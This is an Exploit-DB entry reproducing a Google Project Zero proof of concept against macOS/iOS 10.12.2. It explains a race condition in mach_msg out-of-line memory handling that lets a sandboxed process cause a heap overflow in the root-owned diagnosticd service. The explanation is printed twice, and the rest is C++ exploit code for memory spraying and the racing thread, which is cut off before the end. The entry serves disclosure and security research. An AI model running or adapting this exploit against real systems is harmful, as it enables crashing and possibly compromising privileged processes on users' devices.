Exploit-DB #41778
Description: Apple macOS/IOS 10.12.2 (16C67) - 'mach_msg' Heap Overflow
Type: dos
Platform: multiple
Date: 2017-03-30
Author: Google Security Research

Exploit:
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1083

When sending ool memory via |mach_msg| with |deallocate| flag or |MACH_MSG_VIRTUAL_COPY| flag, |mach_msg| performs moving the memory to the destination process instead of copying it. But it doesn't consider the memory entry object that could resurrect the moved memory. As a result, it could lead to a shared memory race condition.

Exploitation:
We need specific code that references the memory twice from |mach_msg|.
Here's a snippet of such a function |xpc_dictionary_insert|.

v14 = strlen(shared_memory);  <<-- 1st
v15 = _xpc_malloc(v14 + 41);
...
strcpy((char *)(v15 + 32), shared_memory);  <<-- 2nd

If we change the string's length bigger before |strcpy| is called, it will result in a heap overflow.

This bug is triggerable from a sandboxed process.

The attached PoC will crash diagnosticd(running as root). It requires more than 512MB memory to run.

Tested on macOS Sierra 10.12.2(16C67).

clang++ -o poc poc.cc -std=c++11
*/

/*
macOS/IOS: mach_msg: doesn't copy memory

When sending ool memory via |mach_msg| with |deallocate| flag or |MACH_MSG_VIRTUAL_COPY| flag, |mach_msg| performs moving the memory to the destination process instead of copying it. But it doesn't consider the memory entry object that could resurrect the moved memory. As a result, it could lead to a shared memory race condition.

Exploitation:
We need specific code that references the memory twice from |mach_msg|.
Here's a snippet of such a function |xpc_dictionary_insert|.

v14 = strlen(shared_memory);  <<-- 1st
v15 = _xpc_malloc(v14 + 41);
...
strcpy((char *)(v15 + 32), shared_memory);  <<-- 2nd

If we change the string's length bigger before |strcpy| is called, it will result in a heap overflow.

This bug is triggerable from a sandboxed process.

The attached PoC will crash diagnosticd(running as root). It requires more than 512MB memory to run.

Tested on macOS Sierra 10.12.2(16C67).

clang++ -o poc poc.cc -std=c++11

*/

#include <stdint.h>
#include <stdio.h>
#include <xpc/xpc.h>
#include <assert.h>
#include <iostream>
#include <CoreFoundation/CoreFoundation.h>
#include <dlfcn.h>
#include <mach/mach.h>
#include <mach-o/dyld_images.h>
#include <printf.h>
#include <dispatch/dispatch.h>

#include <vector>
#include <chrono>
#include <thread>

struct RaceContext {
    std::vector<uint8_t> payload;
    size_t race_offset;
    
    std::vector<uint8_t> spray;
    size_t spray_size;
};

xpc_object_t empty_request = xpc_dictionary_create(nullptr, nullptr, 0);

double now() {
    return std::chrono::duration<double>(std::chrono::system_clock::now().time_since_epoch()).count();
}

mach_port_t createMemoryEntry(memory_object_size_t size) {
    vm_address_t addr = 0;
    vm_allocate(mach_task_self(), &addr, size, true);

    memset((void*)addr, 0, size);

    mach_port_t res = 0;
    mach_make_memory_entry_64(mach_task_self(), &size, addr, 0x[PII_REDACTED]200043, &res, 0);

    vm_deallocate(mach_task_self(), addr, size);

    return res;
}

void sendPayload(const RaceContext* ctx) {
    size_t data_size = ctx->spray_size;
    
    mach_port_t mem_entry = createMemoryEntry(data_size);

    uint8_t* data = nullptr;
    vm_map(mach_task_self(), (vm_address_t*)&data, data_size, 0LL, 1, mem_entry, 0LL, 0, 67, 67, 2u);

    memcpy(data, &ctx->payload[0], ctx->payload.size());
    
    for (size_t i = 0x1000; i < data_size; i += 0x1000) {
        memcpy(&data[i], &ctx->spray[0], ctx->spray.size());
    }
    
    for (int32_t i = 0; i < 0x4000; i++) {
        double start = now();
        
        xpc_connection_t client = xpc_connection_create_mach_service("com.apple.diagnosticd", NULL, 0);
        xpc_connection_set_event_handler(client, ^(xpc_object_t event) {

        });
        xpc_connection_resume(client);
        xpc_release(xpc_connection_send_message_with_reply_sync(client, empty_request));
        
        double duration = now() - start;
        printf("duration: %f\n", duration);

        if (duration > 2.0) {
            xpc_release(client);
            break;
        }
        
        mach_port_t service_port = ((uint32_t*)client)[15];
        
        void* msg_data = nullptr;
        vm_map(mach_task_self(), (vm_address_t*)&msg_data, data_size, 0LL, 1, mem_entry, 0LL, 0, 67, 67, 2u);

        struct {
            mach_msg_header_t hdr;
            mach_msg_body_t body;
            mach_msg_ool_descriptor_t ool_desc;
        } m = {};
        
        m.hdr.msgh_size = sizeof(m);
        m.hdr.msgh_local_port = MACH_PORT_NULL;
        m.hdr.msgh_remote_port = service_port;
        m.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND | MACH_MSGH_BITS_COMPLEX, 0);
        m.hdr.msgh_id = 0x10000000;
        
        m.body.msgh_descriptor_count = 1;
        
        m.ool_desc.type = MACH_MSG_OOL_DESCRIPTOR;
        m.ool_desc.address = msg_data;
        m.ool_desc.size = (mach_msg_size_t)data_size;
        m.ool_desc.deallocate = 1;
        m.ool_desc.copy = MACH_MSG_VIRTUAL_COPY;

        bool stop = true;
        std::thread syncer([&] {
            while (stop);
            xpc_release(xpc_connection_send_message_with_reply_sync(client, empty_request));
            stop = true;
        });
        
        size_t race_offset = ctx->race_offset;
        __uint128_t orig = *(__uint128_t*)&data[race_offset];
        __uint128_t new_one = *(const __uint128_t*)"AAAAAAAAAAAAAAAA";
        
        mach_msg(&m.hdr, MACH_SEND_MSG, m.hdr.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

        stop = false;
        while (!stop) {
            *(__uint128_t*)&data[race_offset] = orig;
            *(__uint128_t*)&data[race_offset] = new_one;
        }
        
        syncer.join();
        *(__uint128_t*)&data[race_offset] = orig;
        
        xpc_release